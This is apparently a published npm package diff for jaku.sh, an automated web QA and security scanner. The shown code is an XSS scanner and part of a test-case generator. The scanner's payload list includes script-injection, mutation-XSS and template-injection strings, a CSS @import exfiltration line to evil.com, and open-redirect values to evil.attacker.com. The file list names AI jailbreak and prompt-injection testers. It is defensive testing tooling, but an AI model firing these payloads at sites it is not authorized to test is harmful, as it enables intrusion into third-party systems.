jaku.sh 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +52 -0
- package/README.md +636 -0
- package/action.yml +264 -0
- package/bin/jaku +2 -0
- package/package.json +62 -0
- package/src/agents/ai-agent.js +175 -0
- package/src/agents/api-agent.js +95 -0
- package/src/agents/base-agent.js +158 -0
- package/src/agents/crawl-agent.js +175 -0
- package/src/agents/event-bus.js +59 -0
- package/src/agents/findings-ledger.js +410 -0
- package/src/agents/logic-agent.js +144 -0
- package/src/agents/orchestrator.js +323 -0
- package/src/agents/qa-agent.js +149 -0
- package/src/agents/security-agent.js +211 -0
- package/src/cli.js +423 -0
- package/src/core/accessibility-checker.js +171 -0
- package/src/core/ai/ai-endpoint-detector.js +227 -0
- package/src/core/ai/guardrail-prober.js +362 -0
- package/src/core/ai/indirect-injector.js +106 -0
- package/src/core/ai/jailbreak-tester.js +212 -0
- package/src/core/ai/model-dos-tester.js +174 -0
- package/src/core/ai/model-fingerprinter.js +246 -0
- package/src/core/ai/multi-turn-attacker.js +297 -0
- package/src/core/ai/output-analyzer.js +182 -0
- package/src/core/ai/prompt-injector.js +543 -0
- package/src/core/ai/system-prompt-extractor.js +244 -0
- package/src/core/api/api-key-auditor.js +266 -0
- package/src/core/api/auth-flow-tester.js +430 -0
- package/src/core/api/cors-ws-tester.js +263 -0
- package/src/core/api/graphql-tester.js +287 -0
- package/src/core/api/oauth-prober.js +343 -0
- package/src/core/auth-manager.js +902 -0
- package/src/core/broken-flow-detector.js +207 -0
- package/src/core/browser-manager.js +119 -0
- package/src/core/console-monitor.js +111 -0
- package/src/core/crawler.js +430 -0
- package/src/core/csr-waiter.js +410 -0
- package/src/core/form-validator.js +240 -0
- package/src/core/logic/abuse-pattern-scanner.js +291 -0
- package/src/core/logic/access-boundary-tester.js +448 -0
- package/src/core/logic/business-rule-inferrer.js +196 -0
- package/src/core/logic/graphql-auditor.js +298 -0
- package/src/core/logic/parameter-polluter.js +212 -0
- package/src/core/logic/pricing-exploiter.js +299 -0
- package/src/core/logic/race-condition-detector.js +222 -0
- package/src/core/logic/workflow-enforcer.js +284 -0
- package/src/core/performance-checker.js +204 -0
- package/src/core/responsive-checker.js +228 -0
- package/src/core/security/cors-prober.js +150 -0
- package/src/core/security/csrf-prober.js +217 -0
- package/src/core/security/dependency-auditor.js +182 -0
- package/src/core/security/file-upload-tester.js +340 -0
- package/src/core/security/header-analyzer.js +324 -0
- package/src/core/security/infra-scanner.js +391 -0
- package/src/core/security/path-traversal.js +112 -0
- package/src/core/security/prototype-pollution.js +147 -0
- package/src/core/security/secret-detector.js +517 -0
- package/src/core/security/sqli-prober.js +257 -0
- package/src/core/security/tls-checker.js +223 -0
- package/src/core/security/xss-scanner.js +225 -0
- package/src/core/test-generator.js +339 -0
- package/src/core/test-runner.js +398 -0
- package/src/reporting/diff-reporter.js +172 -0
- package/src/reporting/report-generator.js +408 -0
- package/src/reporting/sarif-generator.js +190 -0
- package/src/utils/config.js +57 -0
- package/src/utils/finding.js +67 -0
- package/src/utils/logger.js +50 -0
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
import { chromium } from 'playwright';
|
|
2
|
+
import { createFinding } from '../../utils/finding.js';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* XSS Scanner — Probes all discovered input surfaces for Cross-Site Scripting.
|
|
6
|
+
* Tests reflected, stored, and DOM-based XSS with a comprehensive payload library.
|
|
7
|
+
* SAFETY: No destructive payloads — all tests use detection-only markers.
|
|
8
|
+
*/
|
|
9
|
+
export class XSSScanner {
|
|
10
|
+
constructor(logger) {
|
|
11
|
+
this.logger = logger;
|
|
12
|
+
this.findings = [];
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
// XSS test payloads — designed for detection, not exploitation
|
|
16
|
+
static PAYLOADS = [
|
|
17
|
+
// ── Classic Vectors ──
|
|
18
|
+
{ name: 'Basic script tag', payload: '<script>window.__JAKU_XSS_1=1</script>', marker: '__JAKU_XSS_1' },
|
|
19
|
+
{ name: 'IMG onerror', payload: '<img src=x onerror="window.__JAKU_XSS_2=1">', marker: '__JAKU_XSS_2' },
|
|
20
|
+
{ name: 'SVG onload', payload: '<svg onload="window.__JAKU_XSS_3=1">', marker: '__JAKU_XSS_3' },
|
|
21
|
+
{ name: 'Event handler', payload: '" onfocus="window.__JAKU_XSS_4=1" autofocus="', marker: '__JAKU_XSS_4' },
|
|
22
|
+
{ name: 'Template literal', payload: '${alert(1)}', marker: '${alert' },
|
|
23
|
+
{ name: 'HTML entity bypass', payload: '<script>alert(1)</script>', marker: '<script>alert' },
|
|
24
|
+
{ name: 'Single quote break', payload: "' onmouseover='window.__JAKU_XSS_5=1", marker: '__JAKU_XSS_5' },
|
|
25
|
+
{ name: 'Double quote break', payload: '" onmouseover="window.__JAKU_XSS_6=1', marker: '__JAKU_XSS_6' },
|
|
26
|
+
{ name: 'JavaScript URL', payload: 'javascript:window.__JAKU_XSS_7=1', marker: '__JAKU_XSS_7' },
|
|
27
|
+
|
|
28
|
+
// ── Framework Template Injection ──
|
|
29
|
+
{ name: 'AngularJS template injection', payload: '{{7*7}}', marker: '49' },
|
|
30
|
+
{ name: 'AngularJS constructor XSS', payload: '{{constructor.constructor("window.__JAKU_NG=1")()}}', marker: '__JAKU_NG' },
|
|
31
|
+
{ name: 'Vue.js template injection', payload: '{{$emit("jaku")}}', marker: '$emit' },
|
|
32
|
+
{ name: 'Vue constructor XSS', payload: '{{constructor.constructor(\'window.__JAKU_VUE=1\')()}}', marker: '__JAKU_VUE' },
|
|
33
|
+
|
|
34
|
+
// ── Mutation XSS (mXSS) ──
|
|
35
|
+
{ name: 'mXSS — noscript tag', payload: '<noscript><p title="</noscript><img src=x onerror=window.__JAKU_MXSS=1>">', marker: '__JAKU_MXSS' },
|
|
36
|
+
{ name: 'mXSS — table context', payload: '<table><td><title><</title><img src=x onerror=window.__JAKU_MXSS2=1>', marker: '__JAKU_MXSS2' },
|
|
37
|
+
|
|
38
|
+
// ── DOM Clobbering ──
|
|
39
|
+
{ name: 'DOM clobber — id=location', payload: '<form id=location></form>', marker: 'id=location' },
|
|
40
|
+
{ name: 'DOM clobber — window.name', payload: `<iframe name="__JAKU_DOM_CLOB"></iframe>`, marker: '__JAKU_DOM_CLOB' },
|
|
41
|
+
|
|
42
|
+
// ── CSS Injection ──
|
|
43
|
+
{ name: 'CSS expression injection', payload: `<div style="background:url('javascript:window.__JAKU_CSS=1')">`, marker: '__JAKU_CSS' },
|
|
44
|
+
{ name: 'CSS @import exfil', payload: `<style>@import 'https://evil.com/steal?x=1';</style>`, marker: 'evil.com' },
|
|
45
|
+
|
|
46
|
+
// ── Alternative Execution Contexts ──
|
|
47
|
+
{ name: 'SVG foreignObject', payload: '<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>window.__JAKU_SVG_FO=1</script></body></foreignObject></svg>', marker: '__JAKU_SVG_FO' },
|
|
48
|
+
{ name: 'Data URI in iframe', payload: '<iframe src="data:text/html,<script>window.parent.__JAKU_DATA=1</script>"></iframe>', marker: '__JAKU_DATA' },
|
|
49
|
+
{ name: 'iframe srcdoc XSS', payload: '<iframe srcdoc="<script>window.parent.__JAKU_SRCDOC=1</script>"></iframe>', marker: '__JAKU_SRCDOC' },
|
|
50
|
+
|
|
51
|
+
// ── Open Redirect (separate from XSS but tested via same param surface) ──
|
|
52
|
+
{ name: 'Open redirect — absolute', payload: 'https://evil.attacker.com', marker: 'evil.attacker.com', type: 'redirect' },
|
|
53
|
+
{ name: 'Open redirect — protocol', payload: '//evil.attacker.com', marker: 'evil.attacker.com', type: 'redirect' },
|
|
54
|
+
{ name: 'Open redirect — backslash', payload: '/\\evil.attacker.com', marker: 'evil.attacker.com', type: 'redirect' },
|
|
55
|
+
];
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
/**
|
|
59
|
+
* Run XSS scanning on all discovered surfaces.
|
|
60
|
+
*/
|
|
61
|
+
async scan(surfaceInventory) {
|
|
62
|
+
const browser = await chromium.launch({ headless: true });
|
|
63
|
+
const context = await browser.newContext({
|
|
64
|
+
viewport: { width: 1440, height: 900 },
|
|
65
|
+
ignoreHTTPSErrors: true,
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
// Test URL parameter reflection
|
|
69
|
+
await this._testURLParamReflection(context, surfaceInventory);
|
|
70
|
+
|
|
71
|
+
// Test form input reflection
|
|
72
|
+
await this._testFormInputReflection(context, surfaceInventory);
|
|
73
|
+
|
|
74
|
+
await browser.close();
|
|
75
|
+
this.logger?.info?.(`XSS scanner found ${this.findings.length} issues`);
|
|
76
|
+
return this.findings;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
/**
|
|
80
|
+
* Test if URL parameters are reflected without encoding.
|
|
81
|
+
*/
|
|
82
|
+
async _testURLParamReflection(context, inventory) {
|
|
83
|
+
for (const pageData of inventory.pages) {
|
|
84
|
+
if (typeof pageData.status !== 'number' || pageData.status >= 400) continue;
|
|
85
|
+
|
|
86
|
+
const page = await context.newPage();
|
|
87
|
+
try {
|
|
88
|
+
// Test with a canary value in common parameter names
|
|
89
|
+
const testParams = ['q', 'search', 'query', 'keyword', 's', 'term', 'name', 'id', 'page', 'redirect', 'url', 'return', 'next', 'callback'];
|
|
90
|
+
|
|
91
|
+
for (const param of testParams) {
|
|
92
|
+
// Use a subset of payloads for URL params
|
|
93
|
+
for (const { name, payload, marker } of XSSScanner.PAYLOADS.slice(0, 3)) {
|
|
94
|
+
const testUrl = new URL(pageData.url);
|
|
95
|
+
testUrl.searchParams.set(param, payload);
|
|
96
|
+
|
|
97
|
+
try {
|
|
98
|
+
await page.goto(testUrl.toString(), {
|
|
99
|
+
waitUntil: 'domcontentloaded',
|
|
100
|
+
timeout: 10000,
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
// Check if the payload is reflected in the page source
|
|
104
|
+
const content = await page.content();
|
|
105
|
+
const isReflected = content.includes(payload);
|
|
106
|
+
|
|
107
|
+
// Check if the XSS actually executed
|
|
108
|
+
const executed = await page.evaluate((m) => {
|
|
109
|
+
return window[m] === 1;
|
|
110
|
+
}, marker).catch(() => false);
|
|
111
|
+
|
|
112
|
+
if (executed) {
|
|
113
|
+
this.findings.push(createFinding({
|
|
114
|
+
module: 'security',
|
|
115
|
+
title: `Reflected XSS via URL Parameter: ${param}`,
|
|
116
|
+
severity: 'high',
|
|
117
|
+
affected_surface: pageData.url,
|
|
118
|
+
description: `The URL parameter "${param}" is vulnerable to reflected Cross-Site Scripting (XSS). The payload "${name}" was injected and executed in the browser context.\n\nThis allows attackers to execute arbitrary JavaScript in victims\' browsers via crafted URLs, enabling session hijacking, credential theft, and defacement.`,
|
|
119
|
+
reproduction: [
|
|
120
|
+
`1. Navigate to: ${testUrl.toString()}`,
|
|
121
|
+
`2. The ${name} payload executes in the browser`,
|
|
122
|
+
`3. Verify with DevTools: window.${marker} === 1`,
|
|
123
|
+
],
|
|
124
|
+
evidence: JSON.stringify({ param, payload, name, executed: true }),
|
|
125
|
+
remediation: 'HTML-encode all user input before rendering in the page. Use framework-provided escaping functions. Implement a Content-Security-Policy header to mitigate impact.',
|
|
126
|
+
references: ['https://owasp.org/www-community/attacks/xss/', 'CWE-79'],
|
|
127
|
+
}));
|
|
128
|
+
break; // One finding per param is sufficient
|
|
129
|
+
} else if (isReflected) {
|
|
130
|
+
this.findings.push(createFinding({
|
|
131
|
+
module: 'security',
|
|
132
|
+
title: `Potential Reflected XSS: ${param} (Payload Reflected)`,
|
|
133
|
+
severity: 'medium',
|
|
134
|
+
affected_surface: pageData.url,
|
|
135
|
+
description: `The URL parameter "${param}" reflects the XSS payload "${name}" in the response without proper encoding. While the payload did not execute in this test (browser may have blocked it), the lack of encoding indicates a vulnerability that could be exploited with alternative payloads.`,
|
|
136
|
+
reproduction: [
|
|
137
|
+
`1. Navigate to: ${testUrl.toString()}`,
|
|
138
|
+
`2. View page source — payload appears unencoded`,
|
|
139
|
+
],
|
|
140
|
+
evidence: JSON.stringify({ param, payload, name, reflected: true, executed: false }),
|
|
141
|
+
remediation: 'All user input must be HTML-encoded before rendering. Even if the current payload is blocked, other payloads or browser contexts may succeed.',
|
|
142
|
+
references: ['https://owasp.org/www-community/attacks/xss/', 'CWE-79'],
|
|
143
|
+
}));
|
|
144
|
+
break;
|
|
145
|
+
}
|
|
146
|
+
} catch {
|
|
147
|
+
// Navigation failed — skip
|
|
148
|
+
}
|
|
149
|
+
}
|
|
150
|
+
}
|
|
151
|
+
} catch (err) {
|
|
152
|
+
this.logger?.debug?.(`XSS URL param test failed for ${pageData.url}: ${err.message}`);
|
|
153
|
+
} finally {
|
|
154
|
+
await page.close();
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
/**
|
|
160
|
+
* Test form inputs for XSS via submission.
|
|
161
|
+
*/
|
|
162
|
+
async _testFormInputReflection(context, inventory) {
|
|
163
|
+
for (const form of inventory.forms) {
|
|
164
|
+
const page = await context.newPage();
|
|
165
|
+
try {
|
|
166
|
+
await page.goto(form.page, { waitUntil: 'networkidle', timeout: 15000 });
|
|
167
|
+
|
|
168
|
+
// Use a small subset of payloads for each form
|
|
169
|
+
const testPayload = XSSScanner.PAYLOADS[0]; // Basic script tag
|
|
170
|
+
|
|
171
|
+
for (const field of form.fields) {
|
|
172
|
+
if (['hidden', 'submit', 'button', 'checkbox', 'radio', 'file'].includes(field.type)) continue;
|
|
173
|
+
|
|
174
|
+
try {
|
|
175
|
+
const input = await page.$(`[name="${field.name}"]`) || await page.$(`#${field.name}`);
|
|
176
|
+
if (!input) continue;
|
|
177
|
+
|
|
178
|
+
await input.fill(testPayload.payload);
|
|
179
|
+
|
|
180
|
+
// Submit the form
|
|
181
|
+
const submitBtn = await page.$(`#${form.id} button[type="submit"]`)
|
|
182
|
+
|| await page.$('button[type="submit"], input[type="submit"]');
|
|
183
|
+
|
|
184
|
+
if (submitBtn) {
|
|
185
|
+
await submitBtn.click();
|
|
186
|
+
await page.waitForTimeout(2000);
|
|
187
|
+
|
|
188
|
+
// Check if payload reflected in the response
|
|
189
|
+
const content = await page.content();
|
|
190
|
+
if (content.includes(testPayload.payload)) {
|
|
191
|
+
this.findings.push(createFinding({
|
|
192
|
+
module: 'security',
|
|
193
|
+
title: `Form XSS: Input "${field.name}" in ${form.id}`,
|
|
194
|
+
severity: 'high',
|
|
195
|
+
affected_surface: form.page,
|
|
196
|
+
description: `The form field "${field.name}" in form "${form.id}" does not sanitize XSS payloads. The submitted ${testPayload.name} payload was reflected in the response without encoding.\n\nThis could lead to stored XSS if the data is persisted and displayed to other users.`,
|
|
197
|
+
reproduction: [
|
|
198
|
+
`1. Navigate to ${form.page}`,
|
|
199
|
+
`2. Enter "${testPayload.payload}" in the "${field.name}" field`,
|
|
200
|
+
`3. Submit the form`,
|
|
201
|
+
`4. Payload appears unencoded in the response`,
|
|
202
|
+
],
|
|
203
|
+
evidence: JSON.stringify({ form: form.id, field: field.name, payload: testPayload.name }),
|
|
204
|
+
remediation: 'Sanitize and HTML-encode all form inputs on both client and server side before rendering. Use parameterized queries for database storage.',
|
|
205
|
+
references: ['https://owasp.org/www-community/attacks/xss/', 'CWE-79'],
|
|
206
|
+
}));
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
// Navigate back for next field test
|
|
210
|
+
await page.goto(form.page, { waitUntil: 'networkidle', timeout: 10000 });
|
|
211
|
+
}
|
|
212
|
+
} catch {
|
|
213
|
+
// Field test failed — continue
|
|
214
|
+
}
|
|
215
|
+
}
|
|
216
|
+
} catch (err) {
|
|
217
|
+
this.logger?.debug?.(`XSS form test failed for ${form.page}: ${err.message}`);
|
|
218
|
+
} finally {
|
|
219
|
+
await page.close();
|
|
220
|
+
}
|
|
221
|
+
}
|
|
222
|
+
}
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
export default XSSScanner;
|
|
@@ -0,0 +1,339 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Test Generator — Generates test cases from the Surface Inventory.
|
|
3
|
+
* Produces smoke, navigation, form, API, and edge-case tests.
|
|
4
|
+
*/
|
|
5
|
+
export class TestGenerator {
|
|
6
|
+
constructor(logger) {
|
|
7
|
+
this.logger = logger;
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
/**
|
|
11
|
+
* Generate all test cases from a Surface Inventory.
|
|
12
|
+
* @returns {TestCase[]} Array of test case objects
|
|
13
|
+
*/
|
|
14
|
+
generate(surfaceInventory) {
|
|
15
|
+
const tests = [
|
|
16
|
+
...this._generateSmokeTests(surfaceInventory),
|
|
17
|
+
...this._generateNavigationTests(surfaceInventory),
|
|
18
|
+
...this._generateFormTests(surfaceInventory),
|
|
19
|
+
...this._generateApiTests(surfaceInventory),
|
|
20
|
+
...this._generateEdgeCaseTests(surfaceInventory),
|
|
21
|
+
];
|
|
22
|
+
|
|
23
|
+
this.logger?.info?.(`Generated ${tests.length} test cases`);
|
|
24
|
+
return tests;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
/**
|
|
28
|
+
* Smoke tests: one test per unique URL *pattern* (UUIDs and numeric IDs normalized).
|
|
29
|
+
* This prevents 49 identical findings for /trips/<uuid> pages.
|
|
30
|
+
*/
|
|
31
|
+
_generateSmokeTests(inventory) {
|
|
32
|
+
const seenPatterns = new Map(); // pattern → first representative URL
|
|
33
|
+
|
|
34
|
+
for (const page of inventory.pages) {
|
|
35
|
+
const pattern = this._normalizePathPattern(page.url);
|
|
36
|
+
if (!seenPatterns.has(pattern)) {
|
|
37
|
+
seenPatterns.set(pattern, page.url);
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
const tests = [];
|
|
42
|
+
let idx = 0;
|
|
43
|
+
for (const [pattern, representativeUrl] of seenPatterns) {
|
|
44
|
+
// Count how many URLs match this pattern
|
|
45
|
+
const matchCount = inventory.pages.filter(
|
|
46
|
+
p => this._normalizePathPattern(p.url) === pattern
|
|
47
|
+
).length;
|
|
48
|
+
|
|
49
|
+
tests.push({
|
|
50
|
+
id: `SMOKE-${String(++idx).padStart(3, '0')}`,
|
|
51
|
+
type: 'smoke',
|
|
52
|
+
surface: representativeUrl,
|
|
53
|
+
urlPattern: pattern,
|
|
54
|
+
matchCount, // how many URLs share this pattern
|
|
55
|
+
title: matchCount > 1
|
|
56
|
+
? `Page loads successfully: ${pattern} (${matchCount} pages)`
|
|
57
|
+
: `Page loads successfully: ${this._shortUrl(representativeUrl)}`,
|
|
58
|
+
steps: [
|
|
59
|
+
{ action: 'navigate', url: representativeUrl },
|
|
60
|
+
{ action: 'assert_status', expected: 200 },
|
|
61
|
+
{ action: 'assert_no_console_errors' },
|
|
62
|
+
{ action: 'assert_has_content' },
|
|
63
|
+
],
|
|
64
|
+
expected: {
|
|
65
|
+
status: 200,
|
|
66
|
+
noConsoleErrors: true,
|
|
67
|
+
hasContent: true,
|
|
68
|
+
},
|
|
69
|
+
});
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
this.logger?.info?.(`Smoke tests: ${inventory.pages.length} pages → ${tests.length} pattern-deduplicated tests`);
|
|
73
|
+
return tests;
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
/**
|
|
77
|
+
* Normalize a URL path to a pattern by replacing:
|
|
78
|
+
* - UUIDs (8-4-4-4-12 hex) → :uuid
|
|
79
|
+
* - Long numeric IDs (> 4 digits) → :id
|
|
80
|
+
* - Short numeric segments → :n
|
|
81
|
+
* Also strips query strings and hashes.
|
|
82
|
+
*
|
|
83
|
+
* Examples:
|
|
84
|
+
* /trips/5f8579e0-0054-4cb9-b80e-b00b19369536?edit=true → /trips/:uuid
|
|
85
|
+
* /profile/42 → /profile/:n
|
|
86
|
+
* /packages/rajasthan-royal-heritage-tour → /packages/rajasthan-royal-heritage-tour (unchanged)
|
|
87
|
+
*/
|
|
88
|
+
_normalizePathPattern(url) {
|
|
89
|
+
try {
|
|
90
|
+
const u = new URL(url);
|
|
91
|
+
const pathname = u.pathname
|
|
92
|
+
// UUID pattern (8-4-4-4-12)
|
|
93
|
+
.replace(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi, ':uuid')
|
|
94
|
+
// Long numeric IDs (5+ digits are definitely database IDs)
|
|
95
|
+
.replace(/\/[0-9]{5,}/g, '/:id')
|
|
96
|
+
// Short numeric path segments (e.g. /profile/3)
|
|
97
|
+
.replace(/\/[0-9]{1,4}(?=\/|$)/g, '/:n')
|
|
98
|
+
// Trailing slash normalization
|
|
99
|
+
.replace(/\/+$/, '') || '/';
|
|
100
|
+
return pathname;
|
|
101
|
+
} catch {
|
|
102
|
+
return url;
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
|
|
106
|
+
/**
|
|
107
|
+
* Navigation tests: all internal links are reachable.
|
|
108
|
+
* Deduplicated by normalized URL pattern to avoid testing 49 /trips/<uuid> links.
|
|
109
|
+
*/
|
|
110
|
+
_generateNavigationTests(inventory) {
|
|
111
|
+
const tests = [];
|
|
112
|
+
const testedPatterns = new Set();
|
|
113
|
+
|
|
114
|
+
for (const page of inventory.pages) {
|
|
115
|
+
for (const link of (page.links || [])) {
|
|
116
|
+
const pattern = this._normalizePathPattern(link);
|
|
117
|
+
if (testedPatterns.has(pattern)) continue;
|
|
118
|
+
testedPatterns.add(pattern);
|
|
119
|
+
|
|
120
|
+
tests.push({
|
|
121
|
+
id: `NAV-${String(tests.length + 1).padStart(3, '0')}`,
|
|
122
|
+
type: 'navigation',
|
|
123
|
+
surface: link,
|
|
124
|
+
sourcePage: page.url,
|
|
125
|
+
title: `Link reachable: ${this._shortUrl(link)}`,
|
|
126
|
+
steps: [
|
|
127
|
+
{ action: 'navigate', url: page.url },
|
|
128
|
+
{ action: 'click_link', url: link },
|
|
129
|
+
{ action: 'assert_status', expected: [200, 301, 302] },
|
|
130
|
+
],
|
|
131
|
+
expected: {
|
|
132
|
+
reachable: true,
|
|
133
|
+
noErrors: true,
|
|
134
|
+
},
|
|
135
|
+
});
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
return tests;
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
/**
|
|
143
|
+
* Form tests: every form can be submitted with valid and invalid data.
|
|
144
|
+
*/
|
|
145
|
+
_generateFormTests(inventory) {
|
|
146
|
+
const tests = [];
|
|
147
|
+
|
|
148
|
+
for (const form of inventory.forms) {
|
|
149
|
+
// Test 1: Submit empty (required field validation)
|
|
150
|
+
tests.push({
|
|
151
|
+
id: `FORM-${String(tests.length + 1).padStart(3, '0')}`,
|
|
152
|
+
type: 'form',
|
|
153
|
+
subtype: 'empty_submit',
|
|
154
|
+
surface: form.page,
|
|
155
|
+
formId: form.id,
|
|
156
|
+
title: `Empty form submission blocked: ${form.id}`,
|
|
157
|
+
steps: [
|
|
158
|
+
{ action: 'navigate', url: form.page },
|
|
159
|
+
{ action: 'locate_form', selector: form.id },
|
|
160
|
+
{ action: 'submit_empty' },
|
|
161
|
+
{ action: 'assert_validation_error' },
|
|
162
|
+
],
|
|
163
|
+
expected: {
|
|
164
|
+
blocked: true,
|
|
165
|
+
showsValidationError: true,
|
|
166
|
+
},
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
// Test 2: Submit with valid data
|
|
170
|
+
const validData = this._generateValidData(form.fields);
|
|
171
|
+
tests.push({
|
|
172
|
+
id: `FORM-${String(tests.length + 1).padStart(3, '0')}`,
|
|
173
|
+
type: 'form',
|
|
174
|
+
subtype: 'valid_submit',
|
|
175
|
+
surface: form.page,
|
|
176
|
+
formId: form.id,
|
|
177
|
+
title: `Valid form submission succeeds: ${form.id}`,
|
|
178
|
+
steps: [
|
|
179
|
+
{ action: 'navigate', url: form.page },
|
|
180
|
+
{ action: 'locate_form', selector: form.id },
|
|
181
|
+
{ action: 'fill_form', data: validData },
|
|
182
|
+
{ action: 'submit' },
|
|
183
|
+
{ action: 'assert_submission_feedback' },
|
|
184
|
+
],
|
|
185
|
+
expected: {
|
|
186
|
+
submitted: true,
|
|
187
|
+
showsFeedback: true,
|
|
188
|
+
},
|
|
189
|
+
});
|
|
190
|
+
|
|
191
|
+
// Test 3: Type constraint testing for each field
|
|
192
|
+
for (const field of form.fields) {
|
|
193
|
+
if (field.type === 'hidden' || field.type === 'submit') continue;
|
|
194
|
+
const invalidData = this._generateInvalidData(field);
|
|
195
|
+
if (invalidData) {
|
|
196
|
+
tests.push({
|
|
197
|
+
id: `FORM-${String(tests.length + 1).padStart(3, '0')}`,
|
|
198
|
+
type: 'form',
|
|
199
|
+
subtype: 'invalid_input',
|
|
200
|
+
surface: form.page,
|
|
201
|
+
formId: form.id,
|
|
202
|
+
fieldName: field.name,
|
|
203
|
+
title: `Invalid input rejected: ${field.name} in ${form.id}`,
|
|
204
|
+
steps: [
|
|
205
|
+
{ action: 'navigate', url: form.page },
|
|
206
|
+
{ action: 'locate_form', selector: form.id },
|
|
207
|
+
{ action: 'fill_field', field: field.name, value: invalidData.value },
|
|
208
|
+
{ action: 'submit' },
|
|
209
|
+
{ action: 'assert_validation_error', field: field.name },
|
|
210
|
+
],
|
|
211
|
+
expected: {
|
|
212
|
+
rejected: true,
|
|
213
|
+
showsFieldError: true,
|
|
214
|
+
},
|
|
215
|
+
invalidData,
|
|
216
|
+
});
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
|
|
221
|
+
return tests;
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
/**
|
|
225
|
+
* API tests: endpoints respond within timeout with valid responses.
|
|
226
|
+
*/
|
|
227
|
+
_generateApiTests(inventory) {
|
|
228
|
+
return inventory.apiEndpoints.map((endpoint, idx) => ({
|
|
229
|
+
id: `API-${String(idx + 1).padStart(3, '0')}`,
|
|
230
|
+
type: 'api',
|
|
231
|
+
surface: endpoint.url,
|
|
232
|
+
method: endpoint.method,
|
|
233
|
+
title: `API responds: ${endpoint.method} ${this._shortUrl(endpoint.url)}`,
|
|
234
|
+
steps: [
|
|
235
|
+
{ action: 'http_request', method: endpoint.method, url: endpoint.url },
|
|
236
|
+
{ action: 'assert_status', expected: [200, 201, 204, 301, 302] },
|
|
237
|
+
{ action: 'assert_response_time', maxMs: 5000 },
|
|
238
|
+
{ action: 'assert_valid_json' },
|
|
239
|
+
],
|
|
240
|
+
expected: {
|
|
241
|
+
validStatus: true,
|
|
242
|
+
withinTimeout: true,
|
|
243
|
+
validJson: true,
|
|
244
|
+
},
|
|
245
|
+
}));
|
|
246
|
+
}
|
|
247
|
+
|
|
248
|
+
/**
|
|
249
|
+
* Edge-case tests: boundary values and special characters.
|
|
250
|
+
*/
|
|
251
|
+
_generateEdgeCaseTests(inventory) {
|
|
252
|
+
const tests = [];
|
|
253
|
+
|
|
254
|
+
for (const form of inventory.forms) {
|
|
255
|
+
for (const field of form.fields) {
|
|
256
|
+
if (field.type === 'hidden' || field.type === 'submit') continue;
|
|
257
|
+
|
|
258
|
+
// Extremely long input
|
|
259
|
+
tests.push({
|
|
260
|
+
id: `EDGE-${String(tests.length + 1).padStart(3, '0')}`,
|
|
261
|
+
type: 'edge-case',
|
|
262
|
+
subtype: 'long_input',
|
|
263
|
+
surface: form.page,
|
|
264
|
+
formId: form.id,
|
|
265
|
+
fieldName: field.name,
|
|
266
|
+
title: `Long input handled: ${field.name}`,
|
|
267
|
+
steps: [
|
|
268
|
+
{ action: 'navigate', url: form.page },
|
|
269
|
+
{ action: 'fill_field', field: field.name, value: 'A'.repeat(10000) },
|
|
270
|
+
{ action: 'submit' },
|
|
271
|
+
{ action: 'assert_no_crash' },
|
|
272
|
+
],
|
|
273
|
+
expected: { noCrash: true },
|
|
274
|
+
});
|
|
275
|
+
|
|
276
|
+
// Special characters
|
|
277
|
+
tests.push({
|
|
278
|
+
id: `EDGE-${String(tests.length + 1).padStart(3, '0')}`,
|
|
279
|
+
type: 'edge-case',
|
|
280
|
+
subtype: 'special_chars',
|
|
281
|
+
surface: form.page,
|
|
282
|
+
formId: form.id,
|
|
283
|
+
fieldName: field.name,
|
|
284
|
+
title: `Special chars handled: ${field.name}`,
|
|
285
|
+
steps: [
|
|
286
|
+
{ action: 'navigate', url: form.page },
|
|
287
|
+
{ action: 'fill_field', field: field.name, value: '<script>alert(1)</script>\'";--' },
|
|
288
|
+
{ action: 'submit' },
|
|
289
|
+
{ action: 'assert_no_crash' },
|
|
290
|
+
{ action: 'assert_input_sanitized' },
|
|
291
|
+
],
|
|
292
|
+
expected: { noCrash: true, sanitized: true },
|
|
293
|
+
});
|
|
294
|
+
}
|
|
295
|
+
}
|
|
296
|
+
|
|
297
|
+
return tests;
|
|
298
|
+
}
|
|
299
|
+
|
|
300
|
+
_generateValidData(fields) {
|
|
301
|
+
const data = {};
|
|
302
|
+
for (const field of fields) {
|
|
303
|
+
switch (field.type) {
|
|
304
|
+
case 'email': data[field.name] = 'test@example.com'; break;
|
|
305
|
+
case 'password': data[field.name] = 'TestPass123!'; break;
|
|
306
|
+
case 'tel': data[field.name] = '+1234567890'; break;
|
|
307
|
+
case 'number': data[field.name] = '42'; break;
|
|
308
|
+
case 'url': data[field.name] = 'https://example.com'; break;
|
|
309
|
+
case 'date': data[field.name] = '2025-01-15'; break;
|
|
310
|
+
case 'checkbox': data[field.name] = true; break;
|
|
311
|
+
case 'select': data[field.name] = '__first_option__'; break;
|
|
312
|
+
default: data[field.name] = 'Test input value'; break;
|
|
313
|
+
}
|
|
314
|
+
}
